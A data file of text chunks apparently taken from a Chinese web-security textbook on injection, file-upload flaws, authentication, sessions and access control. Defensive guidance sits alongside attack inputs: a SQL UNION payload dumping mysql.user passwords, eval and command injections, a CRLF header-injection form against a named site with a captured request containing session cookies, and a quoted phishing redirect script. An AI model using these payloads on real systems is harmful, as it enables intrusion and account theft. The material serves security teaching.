    {"text": "参考如下代码： $sql = \"SELECT id,name,mail,cv,blog,twitter FROM register WHERE id=\".mysql_real_escape_string($_GET['id']); 当攻击者构造的注入代码如下时： http://vuln.example.com/user.php? id=12,AND,1=0,union,select,1,concat(user,0x3a ,passwo rd),3,4,5,6,from,mysql.user,where,user=substr ing_index(current_user(),char(64),1) 将绕过mysql_real_escape_string的作用注入成功。"},
    {"text": "注入时不需要使用空格的例子： SELECT/**/passwd/**/from/**/user SELECT(passwd)from(user) 不需要括号、引号的例子，其中0x61646D696E是字符串admin的十六进制编码： SELECT passwd from users where user=0x61646D69 而在SQL保留字中，像“HAVING”、“OR-DER BY”等都可能出现在自然语言中，用户提交的正常数据可能也会有这些单词，从而造成误杀，因此不能轻易过滤。"},
    {"text": "比如在Java中使用预编译的SQL语句： String custname = request.getParameter(\"customerName\"); // This should REALLY be validated too // perform input validation to detect attacks String query = \"SELECT account_balance FROM user_data WHERE user_name = ? \"; PreparedStatement pstmt = connection.prepareStatement( query ); pstmt.setString( 1, custname); ResultSet results = pstmt.executeQuery( ); 使用预编译的SQL语句，SQL语句的语义不会发生改变。"},
    {"text": "在SQL语句中，变量用?表示，攻击者无法改变SQL的结构，在上面的例子中，即使攻击者插入类似于tom' or '1'='1的字符串，也只会将此字符串当做username来查询。"},
    {"text": "$query = \"INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)\"; $stmt = $mysqli->prepare($query); $stmt->bind_param(\"sss\", $val1, $val2, $val3); $val1 = 'Stuttgart'; $val2 = 'DEU'; $val3 = 'Baden-Wuerttemberg'; /* Execute the statement */ $stmt->execute(); 在不同的语言中，都有着使用预编译语句的方法。"},
    {"text": "Java EE – use PreparedStatement() with bind variables .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables PHP – use PDO with strongly typed parameterized queries (using bindParam()) Hibernate - use createQuery() with bind variables (called named parameters in Hibernate) SQLite - use sqlite3_prepare() to create a statement object 7.3.2 使用存储过程 除了使用预编译语句外，我们还可以使用安全的存储过程对抗SQL注入。 使用存储过程的效果和使用预编语句译类似，其区别就是存储过程需要先将SQL语句定义在数据库中。"},
    {"text": "String custname = request.getParameter(\"customerName\"); // This should REALLY be validated try { CallableStatement cs = connection.prepareCall(\"{call sp_getAccountBalance(?)}\"); cs.setString(1, custname); ResultSet results = cs.executeQuery(); // … result set handling } catch (SQLException se) { // … logging and error handling } 但是有的时候，可能无法使用预编译语句或存储过程，该怎么办？"},
    {"text": "<?php settype($offset, 'integer'); $query = \"SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;\"; // please note %d in the format string, using %s would be meaningless $query = sprintf(\"SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;\", $offset); ?> 其他的数据格式或类型检查也是有益的。"},
    {"text": "比如在MySQL中，需要按照以下思路编码字符： NUL (0x00) --> \\0 [This is a zero, not the letter O] BS (0x08) --> \\b TAB (0x09) --> \\t LF (0x0a) --> \\n CR (0x0d) --> \\r SUB (0x1a) --> \\z \" (0x22) --> \\\" % (0x25) --> \\% ' (0x27) --> \\' \\ (0x5c) --> \\\\ _ (0x5f) --> \\_ all other non-alphanumeric characters with ASCII values less than 256 --> \\c where 'c' is the original non-alphanumeric character. 同时，可以参考OWASP ESAPI中的实现。"},
    {"text": "ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam ); 在使用时： Codec ORACLE_CODEC = new OracleCodec(); String query = \"SELECT user_id FROM user_data WHERE user_name = '\" + ESAPI.encoder().encodeForSQL( ORACLE_CODEC , req.getParameter(\"userID\")) + \"' and user_password = '\" + ESAPI.encoder().encodeForSQL( ORACLE_CODEC , req.getParameter(\"pwd\")) +\"'\"; 在最后，从数据库自身的角度来说，应该使用最小权限原则，避免Web应用直接使用root、dbowner等高权限账户直接连接数据库。"},
    {"text": "7.4 其他注入攻击 除了SQL注入外，在Web安全领域还有其他的注入攻击，这些注入攻击都有相同的特点，就是应用违背了“数据与代码分离”原则。"},
    {"text": "7.4.1 XML注入 XML是一种常用的标记语言，通过标签对数据进行结构化表示。 XML与HTML都是SGML（Standard Generalized Markup Language，标准通用标记语言）。 XML与HTML一样，也存在注入攻击，甚至在注入的方法上也非常相似。"},
    {"text": "final String GUESTROLE = \"guest_role\"; ... //userdata是准备保存的XML数据，接收了name和 email两个用户提交来的数据 String userdata = \"<USER role=\"+ GUESTROLE+ \"><name>\"+ request.getParameter(\"name\")+ \"</name><email>\"+ request.getParameter(\"email\")+ \"</email></USER>\"; //保存XML数据 userDao.save(userdata); 但是如果用户构造了恶意输入数据，就有可能形成注入攻击。 比如用户输入的数据如下： user1@a.com</email></USER><USER role=\"admin_role\"><name>test</ name><email>user2@a.com 最终生成的XML文件里被插入一条数据： <?xml version=\"1.0\" encoding=\"UTF-8\"?> <USER role=\"guest_role\"> <name>user1 </name> <email>user1@a.com</email> </USER> <USER role=\"admin_role\"> <name>test</name> <email>user2@a.com </email> </USER> XML注入，也需要满足注入攻击的两大条件：用户能控制数据的输入；"},
    {"text": "在修补方案上，与HTML注入的修补方案也是类似的，对用户输入数据中包含的“语言本身的保留字符”进行转义即可，如下所示： static { // populate entitites entityToCharacterMap = new HashTrie<Character>(); entityToCharacterMap.put(\"lt\", '<'); entityToCharacterMap.put(\"gt\", '>'); entityToCharacterMap.put(\"amp\", '&'); entityToCharacterMap.put(\"apos\", '\\''); entityToCharacterMap.put(\"quot\", '\"'); } 7.4.2 代码注入 代码注入比较特别一点。"},
    {"text": "如下例： $myvar = \"varname\"; $x = $_GET['arg']; eval(\"\\$myvar = \\$x;\"); 攻击者可以通过如下Payload实施代码注入： /index.php?arg=1; phpinfo() 存在代码注入漏洞的地方，与“后门”没有区别。"},
    {"text": "import javax.script.*; public class Example1 { public static void main(String[] args) { try { ScriptEngineManager manager = new ScriptEngineManager(); ScriptEngine engine = manager.getEngineByName(\"JavaScript\"); System.out.println(args[0]); engine.eval(\"print('\"+ args[0] + \"')\"); } catch(Exception e) { e.printStackTrace(); } } } 攻击者可以提交如下数据： hallo'); var fImport = new JavaImporter(java.io.File); with(fImport) { var f = new File('new'); f.createNewFile(); } // 此外，JSP的动态include也能导致代码注入。 严格来说，PHP、JSP的动态include（文件包含漏洞）导致的代码执行，都可以算是一种代码注入。 <% String pageToInclude = getDataFromUntrustedSource(); %> <jsp:include page=\"<%=pageToInclude %>\" /> 代码注入多见于脚本语言，有时候代码注入可以造成命令注入（Command Injection）。 比如： <?php $varerror = system('cat '.$_GET['pageid'], $valoretorno); echo $varerror; ?> 就是一个典型的命令注入，攻击者可以利用system()函数执行他想要的系统命令。 vulnerable.php?pageid=loquesea;ls 下面是C语言中的一个命令注入例子。"},
    {"text": "#include <stdio.h> #include <unistd.h> int main(int argc, char **argv) { char cat[] = \"cat \"; char *command; size_t commandLength; commandLength = strlen(cat) + strlen(argv[1]) + 1; command = (char *) malloc(commandLength); strncpy(command, cat, commandLength); strncat(command, argv[1], (commandLength - strlen(cat)) ); system(command); return (0); } system()函数在执行时，缺乏必要的安全检查，攻击者可以由此注入额外的命令。 正常执行时： $ ./catWrapper Story.txt When last we left our heroes... 注入命令时： $ ./catWrapper \"Story.txt; ls\" When last we left our heroes... Story.txt doubFree.c nullpointer.c unstosig.c www* a.out* format.c strlen.c useFree* catWrapper* misnull.c strlength.c useFree.c commandinjection.c nodefault.c trunc.c writeWhatWhere.c 对抗代码注入、命令注入时，需要禁用eval()、system()等可以执行命令的函数。"},
    {"text": "CRLF常被用做不同语义之间的分隔符。 因此通过“注入CRLF字符”，就有可能改变原有的语义。 比如，在日志文件中，通过CRLF有可能构造出一条新的日志。"},
    {"text": "def log_failed_login(username) log = open(\"access.log\", 'a') log.write(\"User login failed for: %s\\n\" % username) log.close() 在正常情况下，会记录下如下日志： User login failed for: guest User login failed for: admin 但是由于没有处理换行符“\\r\\n”，因此当攻击者输入如下数据时，就可能插入一条额外的日志记录。 guest\\nUser login succeeded for: admin 日志文件因为换行符“\\n”的存在，会变为： User login failed for: guest User login succeeded for: admin 第二条记录是伪造的，admin用户并不曾登录失败。"},
    {"text": "在参数中插入CRLF字符： <form id=\"x\" action=\"http://login.xiaonei.com/Login.do? email=a%0d%0a%0d%0a<script>alert(/XSS/);</s cript>\" method=\"post\"> <!-- input name=\"email\" value=\"\" / --> <input name=\"password\" value=\"testtest\" / > <input name=\"origURL\" value=\"http%3A%2F %2Fwww.xiaonei.com%2FSysHome.do%0d%0a\" /> <input name=\"formName\" value=\"\" /> <input name=\"method\" value=\"\" /> <input type=\"submit\" value=\"%E7%99%BB %E5%BD%95\" /> </form> 提交后完成了一次POST请求，抓包可以看到整个过程： POST http://login.xiaonei.com/Login.do?email=a%0d %0a%0d%0a<script>alert(/XSS/);</script> H TTP/1.1 Accept: image/gif, image/x-xbitmap, image/ jpeg, image/pjpeg, application/x-shockwave-flash, application/ vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x- silverlight, */* Referer: http://www.a.com/test.html Accept-Language: zh-cn Content-Type: application/x-www-form- urlencoded UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727) Proxy-Connection: Keep-Alive Content-Length: 103 Host: login.xiaonei.com Pragma: no-cache Cookie: __utmc=204579609; XNESSESSIONID=abcThVKoGZNy6aSjWV54r; _de=axis@ph4nt0m.org; __utma=204579609.2036071383.1229329685.122933 6555.1229347798.4; __utmb=204579609; __utmz=204579609.1229336555.3.3.utmccn=(refer ral)|utmcsr=a.com|utmcct=/test.html|utmc md=referral; userid=246859805; univid=20001021; gender=1; univyear=0; hostid=246859805; xn_app_histo_246859805=2-3-4-6-7; mop_uniq_ckid=121.0.29.225_1229340478_5418907 16; syshomeforreg=1; id=246859805; BIGipServerpool_profile=2462586378.20480.0000 ; _de=a; BIGipServerpool_profile=2462586378.20480.0000 password=testtest&origURL=http%253A%252F %252Fwww.xiaonei.com%252FSysHome.do%250d%250a &formName=&method= 服务器返回： HTTP/1.1 200 OK Server: Resin/3.0.21 Vary: Accept-Encoding Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: kl=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Set-Cookie: societyguester=null; domain=.xiaonei.com; path=/; expires=Thu, 01- Dec-1994 16:00:00 GMT Set-Cookie: _de=a <script>alert(/XSS/);</script>; domain=.xiaonei.com; expires=Thu, 10- Dec-2009 13:35:17 GMT Set-Cookie: login_email=null; domain=.xiaonei.com; path=/; expires=Thu, 01- Dec-1994 16:00:00 GMT Content-Type: text/html;charset=UTF-8 Connection: close Transfer-Encoding: chunked Date: Mon, 15 Dec 2008 13:35:17 GMT 217b <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1- transitional.dtd\"> <html > <head> ...... 注意到服务器返回时，在Set-Cookie的值里插入了两次“\\r\\n”换行符。"},
    {"text": "比如注入一个Link头，在新版本的浏览器上将造成XSS： Link: <http://www.a.com/xss.css>; REL:stylesheet 而注入： X-XSS-Protection: 0 则可以关闭IE 8的XSS Filter功能。"},
    {"text": "文件上传功能本身是一个正常业务需求，对于网站来说，很多时候也确实需要用户将文件上传到服务器。 所以“文件上传”本身没有问题，但有问题的是文件上传后，服务器怎么处理、解释文件。"},
    {"text": "上传文件是Flash的策略文件crossdo-main.xml，黑客用以控制Flash在该域下的行为（其他通过类似方式控制策略文件的情况类似）； 上传文件是病毒、木马文件，黑客用以诱骗用户或者管理员下载执行； 上传文件是钓鱼图片或为包含了脚本的图片，在某些版本的浏览器中会被作为脚本执行，被用于钓鱼和欺诈。"},
    {"text": "要完成这个攻击，要满足如下几个条件： 首先，上传的文件能够被Web容器解释执行。 所以文件上传后所在的目录要是Web容器所覆盖到的路径。 其次，用户能够从Web上访问这个文件。"},
    {"text": "FCKEditor是一款非常流行的富文本编辑器，为了方便用户，它带有一个上传文件功能，但是这个功能却出过许多次漏洞。 FCKEditor针对ASP/PHP/JSP等环境都有对应的版本，以PHP为例，其文件上传功能在： http://www.xxx.com/path/FCKeditor/editor/ filemanager/browser/default/browser.html?Typ e=all&Connector=connectors/php/connector.php FCKEditor的文件上传界面 用户打开这个页面，就可以使用此功能将任意文件上传到服务器。"},
    {"text": "代码如下： $Config['AllowedExtensions']['File'] = array() ; //允许上传的类型 $Config['DeniedExtensions']['File'] = array('php','php3','php5','phtml','asp','aspx ','ascx','jsp','cfm','cfc','pl','bat','e xe','dll','reg','cgi') ;//禁止上传的类型 这段代码是以黑名单的方式限制上传文件的类型。"},
    {"text": "由于FCKEditor一般是作为第三方应用集成到网站中的，因此文件上传的目录一般默认都会被Web容器所解析，很容易形成文件上传漏洞。 很多开发者在使用FCKEditor时，可能都不知道它存在一个文件上传功能，如果不是特别需要，建议删除FCKEditor的文件上传代码，一般情况下也用不到它。"},
    {"text": "比如应用原本只允许上传JPG图片，那么可以构造文件名（需要修改POST包）为xxx.php[\\0].JPG，其中[\\0]为十六进制的0x00字符，.JPG绕过了应用的上传文件类型判断；"},
    {"text": "%00字符截断的问题不只在上传文件漏洞中有所利用，因为这是一个被广泛用于字符串处理函数的保留字符，因此在各种不同的业务逻辑中都可能出现问题，需要引起重视。"},
    {"text": "除了常见的检查文件名后缀的方法外，有的应用，还会通过判断上传文件的文件头来验证文件的类型。 比如一个JPG文件，其文件头是： JPG文件的文件头 在正常情况下，通过判断前10个字节，基本上就能判断出一个文件的真实类型。 浏览器的MIME Sniff功能实际上也是通过读取文件的前256个字节，来判断文件的类型的。"},
    {"text": "因此，为了绕过应用中类似MIME Sniff的功能，常见的攻击技巧是伪造一个合法的文件头，而将真实的PHP等脚本代码附在合法的文件头之后，比如： 隐藏在JPG文件中的PHP代码 但此时，仍需要通过PHP来解释此图片文件才行。"},
    {"text": "这些文件类型定义在Apache的mime.types文件中。 Apache httpd server的mime.types文件 Apache的这个特性，很多工程师在写应用时并不知道，即便知道，可能有的工程师也会认为这是Web Server该负责的事情。"},
    {"text": "如果要指定一个后缀作为PHP文件解析，在Apache的官方文档里是这样描述的： Tell Apache to parse certain extensions as PHP. For example, let's have Apache parse .php files as PHP. Instead of only using the Apache AddType directive, we want to avoid potentially dangerous uploads and created files such as exploit.php.jpg from being executed as PHP. Using this example, you could have any extension(s) parse as PHP by simply adding them. We'll add .phtml to demonstrate. <FilesMatch \\.php$> SetHandler application/x-httpd-php </FilesMatch> 8.2.2 IIS文件解析问题 IIS 6在处理文件解析时，也出过一些漏洞。"},
    {"text": "当文件名为abc.asp;xx.jpg时，IIS 6会将此文件解析为abc.asp，文件名被截断了，从而导致脚本被执行。 比如： http://www.target.com/path/xyz.asp;abc.jpg 会执行xyz.asp，而不会管abc.jpg 除此漏洞外，在IIS 6中还曾经出过一个漏洞——因为处理文件夹扩展名出错，导致将/*.asp/目录下的所有文件都作为ASP文件进行解析。 比如： http://www.target.com/path/xyz.asp/abc.jpg 这个abc.jpg，会被当做ASP文件进行解析。 注意这两个IIS的漏洞，是需要在服务器的本地硬盘上确实存在这样的文件或者文件夹，若只是通过Web应用映射出来的URL，则是无法触发的。"},
    {"text": "PUT是在WebDav中定义的一个方法。 Web-Dav大大扩展了HTTP协议中GET、POST、HEAD等功能，它所包含的PUT方法，允许用户上传文件到指定的路径下。"},
    {"text": "但在IIS中，如果目录支持写权限，同时开启了WebDav，则会支持PUT方法，再结合MOVE方法，就能够将原本只允许上传文本文件改写为脚本文件，从而执行webshell。 MOVE能否执行成功，取决于IIS服务器是否勾选了“脚本资源访问”复选框 一般要实施此攻击过程，攻击者应先通过OP-TIONS方法探测服务器支持的HTTP方法类型，如果支持PUT，则使用PUT上传一个指定的文本文件，最后再通过MOVE改写为脚本文件。"},
    {"text": "8.2.3 PHP CGI路径解析问题 2010年5月，国内的安全组织80sec发布了一个Nginx的漏洞，指出在Nginx配置fastcgi使用PHP时，会存在文件类型解析问题，这将给上传漏洞大开方便之门。"},
    {"text": "其实可以说它与Nginx本身关系不大，Nginx只是作为一个代理把请求转发给fastcgi Server，PHP在后端处理这一切。 因此在其他的fastcgi环境下，PHP也存在此问题，只是使用Nginx作为Web Server时，一般使用fastcgi的方式调用脚本解释器，这种使用方式最为常见。"},
    {"text": "location ~ \\.php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts $fastcgi_script_name; include fastcgi_params; } 试想：如果在任何配置为fastcgi的PHP应用里上传一张图片（可能是头像，也可能是论坛里上传的图片等），其图片内容是PHP文件，则将导致代码执行。"},
    {"text": "PHP的配置文件中有一个关键的选项：cgi.fix_pathinfo，这个选项默认是开启的： cgi.fix_pathinfo = 1 在官方文档中对这个配置的说明如下： ; cgi.fix_pathinfo provides *real* PATH_INFO/ PATH_TRANSLATED support for CGI. PHP's ; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok ; what PATH_INFO is. For more information on PATH_INFO, see the cgi specs. Setting ; this to 1 will cause PHP CGI to fix it's paths to conform to the spec. A setting ; of zero causes PHP to behave as before. Default is 1. You should fix your scripts ; to use SCRIPT_FILENAME rather than PATH_TRANSLATED. cgi.fix_pathinfo=1 在映射URI时，两个环境变量很重要：一个是PATH_INFO，一个是SCRIPT_FILENAME。"},
    {"text": "在上面的例子中： PATH_INFO = notexist.php 这个选项为1时，在映射URI时，将递归查询路径确认文件的合法性。 notexist.php是不存在的，所以将往前递归查询路径，此时触发的逻辑是： /* * if the file doesn't exist, try to extract PATH_INFO out * of it by stat'ing back through the '/' * this fixes url's like /info.php/test */ if (script_path_translated && (script_path_translated_len = strlen(script_path_translated)) > 0 && (script_path_translated[script_path_translate d_len-1] == '/' || ....//以下省略. 这个往前递归的功能原本是想解决/info.php/test这种URL，能够正确地解析到 info.php上。"},
    {"text": "钓鱼网站在传播时，会通过利用XSS、服务器端302跳转等功能，从正常的网站跳转到钓鱼网站。 不小心的用户，在一开始，看到的是正常的域名，如下是一个利用服务器端302跳转功能的钓鱼URL： http://member1.taobao.com/member/ login.jhtml? redirect_url=http://iten.taobao.avcvtion .com/auction/item_detail.asp? id=1981&a283d5d7c9443d8.jhtml?cm_cat=0 但这种钓鱼，仍然会在URL中暴露真实的钓鱼网站地址，细心点的用户可能不会上当。 而利用文件上传功能，钓鱼者可以先将包含了HTML的文件（比如一张图片）上传到目标网站，然后通过传播这个文件的URL进行钓鱼，则URL中不会出现钓鱼地址，更具有欺骗性。 比如下面这张图片： http://tech.simba.taobao.com/wp-content/ uploads/2011/02/item.jpg?1_117 它的实际内容是： png <script language=\"javascript\"> var c=window.location.tostring(); if(c.indexof(\"?\")!=-1){ var i=c.split(\"?\")[1]; if(i.split(\"_\")[0]==1){ location.href='http://208.43.120.4../Images/ iteme.asp?id='+i.split(\"_\")[1]; }else{ location.href='http://208.43.120.4../Images/ iteme.asp?id='+i.split(\"_\")[1]; } } </script> 其中，png是伪造的文件头，用于绕过上传时的文件类型检查；"},
    {"text": "骗子在传播钓鱼网站时，只需要传播合法图片的URL： http://tech.simba.taobao.com/wp-content/ uploads/2011/02/item.jpg?1_117 在正常情况下，浏览器是不会将jpg文件当做HTML执行的，但是在低版本的IE中，比如IE 6和IE 7，包括IE 8的兼容模式，浏览器都会“自作聪明”地将此文件当做HTML执行。"},
    {"text": "文件上传的目录设置为不可执行 只要Web容器无法解析该目录下的文件，即使攻击者上传了脚本文件，服务器本身也不会受到影响，因此此点至关重要。"},
    {"text": "单独设置文件服务器的域名 由于浏览器同源策略的关系，一系列客户端攻击将失效，比如上传crossdomain.xml、上传包含JavaScript的XSS利用等问题将得到解决。"},
    {"text": "文件上传往往与代码执行联系在一起，因此对于所有业务中要用到的上传功能，都应该由安全工程师进行严格的检查。 同时文件上传又可能存在诸如钓鱼、木马病毒等危害到最终用户的业务风险问题，使得我们在这一领域需要考虑的问题越来越多。"},
    {"text": "9.1 Who am I? 很多时候，人们会把“认证”和“授权”两个概念搞混，甚至有些安全工程师也是如此。 实际上“认证”和“授权”是两件事情，认证的英文是Authentication，授权则是Authorization。 分清楚这两个概念其实很简单，只需要记住下面这个事实： 认证的目的是为了认出用户是谁，而授权的目的是为了决定用户能够做什么。"},
    {"text": "形象地说，假设系统是一间屋子，持有钥匙的人可以开门进入屋子，那么屋子就是通过“锁和钥匙的匹配”来进行认证的，认证的过程就是开锁的过程。 钥匙在认证过程中，被称为“凭证”（Creden-tial），开门的过程，在互联网里对应的是登录（Login）。"},
    {"text": "注册页面的密码强度要求 一般在用户注册时，网站告知用户其所使用密码的复杂度。 注册页面的密码强度要求 目前并没有一个标准的密码策略，但是根据OWASP推荐的一些最佳实践，我们可以对密码策略稍作总结。"},
    {"text": "比如不要使用QQ号、身份证号码、昵称、电话号码（含手机号码）、生日、英文名、公司名等作为密码，这些资料往往可以从互联网上获得，并不是那么保密。"},
    {"text": "微博网站Twitter在用户注册的过程中，列出了一份长达300个单词的弱密码列表，如果用户使用的密码被包含在这个列表中，则会提示用户此密码不安全。"},
    {"text": "目前黑客们常用的一种暴力破解手段，不是破解密码，而是选择一些弱口令，比如123456，然后猜解用户名，直到发现一个使用弱口令的账户为止。 由于用户名往往是公开的信息，攻击者可以收集一份用户名的字典，使得这种攻击的成本非常低，而效果却比暴力破解密码要好很多。"},
    {"text": "明文保存密码的后果很严重，黑客们曾经利用这些用户名与密码，尝试登录了包括QQ、人人网、新浪微博、支付宝等在内的很多大型网站，致使数以万计的用户处于风险中。"},
    {"text": "一个提供彩虹表查询的MD5破解网站 为了避免密码哈希值泄露后，黑客能够直接通过彩虹表查询出密码明文，在计算密码明文的哈希值时，增加一个“Salt”。"},
    {"text": "比如中国最大的在线支付平台支付宝，就提供很多种不同的认证手段： 支付宝提供的多种认证方式 除了支付密码外，手机动态口令、数字证书、宝令、支付盾、第三方证书等都可用于用户认证。"},
    {"text": "比如一个支付交易使用了密码与数字证书双因素认证，成功完成该交易必须满足两个条件：一是密码正确； 二是进行支付的电脑必须安装了该用户的数字证书。"},
    {"text": "当用户登录完成后，在服务器端就会创建一个新的会话（Session），会话中会保存用户的状态和相关信息。 服务器端维护所有在线用户的Session，此时的认证，只需要知道是哪个用户在浏览当前的页面即可。 为了告诉服务器应该使用哪一个Ses-sion，浏览器需要把当前用户持有的SessionID告知服务器。 最常见的做法就是把SessionID加密后保存在Cookie中，因为Cookie会随着HTTP请求头发送，且受到浏览器同源策略的保护（参见“浏览器安全”一章）。 Cookie中保存的SessionID SessionID一旦在生命周期内被窃取，就等同于账户失窃。 同时由于SessionID是用户登录之后才持有的认证凭证，因此黑客不需要再攻击登录过程（比如密码），在设计安全方案时需要意识到这一点。 Session劫持就是一种通过窃取用户Ses-sionID后，使用该SessionID登录进目标账户的攻击方法，此时攻击者实际上是使用了目标账户的有效Session。 如果SessionID是保存在Cookie中的，则这种攻击可以称为Cookie劫持。 Cookie泄露的途径有很多，最常见的有XSS攻击、网络Sniff，以及本地木马窃取。 对于通过XSS漏洞窃取Cookie的攻击，通过给Cookie标记httponly，可以有效地缓解XSS窃取Cookie的问题。 但是其他的泄露途径，比如网络被嗅探，或者Cookie文件被窃取，则会涉及客户端的环境安全，需要从客户端着手解决。"},
    {"text": "首先，发送到QQ邮箱的邮件中引用了一张外部网站的图片： 然后，当手机用户用手机浏览器打开QQ邮箱时： 在手机中浏览QQ邮箱 手机浏览器在解析图片时，实际上是发起了一次GET请求，这个请求会带上Referer。"},
    {"text": "这个没有换“锁”而导致的安全问题，就是SessionFixation问题。 在用户登录网站的过程中，如果登录前后用户的SessionID没有发生变化，则会存在Session Fix-ation问题。 具体攻击的过程是，用户X（攻击者）先获取到一个未经认证的SessionID，然后将这个Ses-sionID交给用户Y去认证，Y完成认证后，服务器并未更新此SessionID的值（注意是未改变Ses-sionID，而不是未改变Session），所以X可以直接凭借此SessionID登录进Y的账户。"},
    {"text": "用户登录后，这个sid没有发生改变，因此黑客可以先构造好此URL，并诱使其他用户打开，当用户登录完成后，黑客也可以直接通过此URL进入用户账户。"},
    {"text": "但如果攻击者能一直持有一个有效的Ses-sion（比如间隔性地刷新页面，以告诉服务器这个用户仍然在活动），而服务器对于活动的Session也一直不销毁的话，攻击者就能通过此有效Session一直使用用户的账户，成为一个永久的“后门”。"},
    {"text": "但是Cookie有失效时间，Session也可能会过期，攻击者能永久地持有这个Session吗？ 一般的应用都会给session设置一个失效时间，当到达失效时间后，Session将被销毁。"},
    {"text": "安全研究者kxlzx曾经分享过这样的一个案例，使用以下代码保持Session： 其原理就是不停地刷新页面，以保持Session不过期： 测试环境 而Cookie是可以完全由客户端控制的，通过发送带有自定义Cookie头的HTTP包，也能实现同样的效果。 安全研究者cnqing曾经开发过一个叫“Ses-sionIE”的工具，其中就实现了Session状态的保持： SessionIE工具的界面 想使得Cookie不失效，还有更简单的方法。"},
    {"text": "// 让一个Cookie不过期 anehta.dom.persistCookie = function(cookieName){ if (anehta.dom.checkCookie(cookieName) == false){ return false; } try{ document.cookie = cookieName + \"=\" + anehta.dom.getCookie(cookieName) + \";\" + \"expires=Thu, 01- Jan-2038 00:00:01 GMT;\"; } catch (e){ return false; } return true; } 攻击者甚至可以为Session Cookie增加一个Expire时间，使得原本浏览器关闭就会失效的Cookie持久化地保存在本地，变成一个第三方Cookie（third-party cookie）。"},
    {"text": "这个时间可以是从用户登录的时间算起，设定一个阈值，比如3天后就强制Session过期。 但强制销毁Session可能会影响到一些正常的用户，还可以选择的方法是当用户客户端发生变化时，要求用户重新登录。 比如用户的IP、UserA-gent等信息发生了变化，就可以强制销毁当前的Session，并要求用户重新登录。"},
    {"text": "此外对于一些中小网站来说，维护一份用户名、密码也是没有太大必要的开销，所以如果能将这个工作委托给一个可以信任的第三方，就可以将精力集中在业务上。"},
    {"text": "目前互联网上最为开放和流行的单点登录系统是OpenID。 OpenID是一个开放的单点登录框架，它希望使用URI作为用户在互联网上的身份标识，每个用户（End User）将拥有一个唯一的URI。 在用户登录网站（Relying Party）时，用户只需要提交他的OpenID（就是用户唯一的URI）以及OpenID的提供者（OpenID Provider），网站就会将用户重定向到OpenID的提供者进行认证，认证完成后再重定向回网站。 OpenID的认证流程可以用下图描述。 OpenID的认证过程 在使用OpenID时，第一步是向网站提供OpenID。 第二步，网站重定向到OpenID的提供者进行身份认证，在本例中OpenID的提供者是 my-openid.com。 第三步，用户将在OpenID的提供者网站登录，并重定向回网站。"},
    {"text": "认证的手段是丰富多彩的。 在互联网中，除了密码可以用于认证外，还有很多新的认证方式可供使用。 我们也可以组合使用各种认证手段，以双因素认证或多因素认证的方式，提高系统的安全强度。"},
    {"text": "在Web应用中，用户登录之后，服务器端通常会建立一个新的Session以跟踪用户的状态。 每个Session对应一个标识符SessionID，SessionID用来标识用户身份，一般是加密保存在Cookie中。 有的网站也会将Session保存在Cookie中，以减轻服务器端维护Session的压力。"},
    {"text": "10.1 What Can I Do? 在上一章中，我们曾指出“认证（Authentica-tion）”与“授权（Authorization）”的不同。 “认证”解决了“Who am I?”的问题，而“授权”则解决了“What can I do?”的问题。"},
    {"text": "权限控制，或者说访问控制，广泛应用于各个系统中。 抽象地说，都是某个主体（subject）对某个客体（object）需要实施某种操作（operation），而系统对这种操作的限制就是权限控制。 在网络中，为了保护网络资源的安全，一般是通过路由设备或者防火墙建立基于IP的访问控制。 这种访问控制的“主体”是网络请求的发起方（比如一台PC），“客体”是网络请求的接收方（比如一台服务器），主体对客体的“操作”是对客体的某个端口发起网络请求。"},
    {"text": "这个操作能否执行成功，是受到防火墙ACL策略限制的。 防火墙的ACL策略面板 在操作系统中，对文件的访问也有访问控制。 此时“主体”是系统的用户，“客体”是被访问的文件，能否访问成功，将由操作系统给文件设置的ACL（访问控制列表）决定。"},
    {"text": "这三种操作同时对应着三种主体：文件拥有者、文件拥有者所在的用户组、其他用户。 主体、客体、操作这三者之间的对应关系，构成了访问控制列表。"},
    {"text": "主体“能够做什么”，就是权限。 权限可以细分成不同的能力（capability）。 在Linux的文件系统中，将权限分成了“读”、“写”、“执行”三种能力。 用户可能对某个文件拥有“读”的权限，但却没有“写”的权限。"},
    {"text": "在Web应用中，根据访问客体的不同，常见的访问控制可以分为“基于URL的访问控制”、“基于方法（method）的访问控制”和“基于数据的访问控制”。 一般来说，“基于URL的访问控制”是最常见的。 要实现一个简单的“基于URL的访问控制”，在基于Java的Web应用中，可以通过增加一个fil-ter实现，如下： // 获取访问功能 String url=request.getRequestPath(); // 进行权限验证 User user=request.getSession().get(\"user\"); boolean permit=PrivilegeManager.permit( user, url ); if( permit ) { chain.doFilter( request, response ); } else { // 可以转到提示界面 } 当访问控制存在缺陷时，会如何呢？"},
    {"text": "凤凰网分站后台某页面存在未授权访问漏洞，导致攻击者可以胡乱修改节目表： 凤凰网分站的后台 mop后台管理系统未授权访问： mop后台 网易某分站后台存在未授权访问： 网易某分站的后台 酷6网某活动用户审核页面未授权访问： 酷6网后台 在正常情况下，管理后台的页面应该只有管理员才能够访问。"},
    {"text": "10.2 垂直权限管理 访问控制实际上是建立用户与权限之间的对应关系，现在应用广泛的一种方法，就是“基于角色的访问控制（Role-Based Access Control）”，简称RBAC。 RBAC事先会在系统中定义出不同的角色，不同的角色拥有不同的权限，一个角色实际上就是一个权限的集合。 而系统的所有用户都会被分配到不同的角色中，一个用户可能拥有多个角色，角色之间有高低之分（权限高低）。 在系统验证权限时，只需要验证用户所属的角色，然后就可以根据该角色所拥有的权限进行授权了。"},
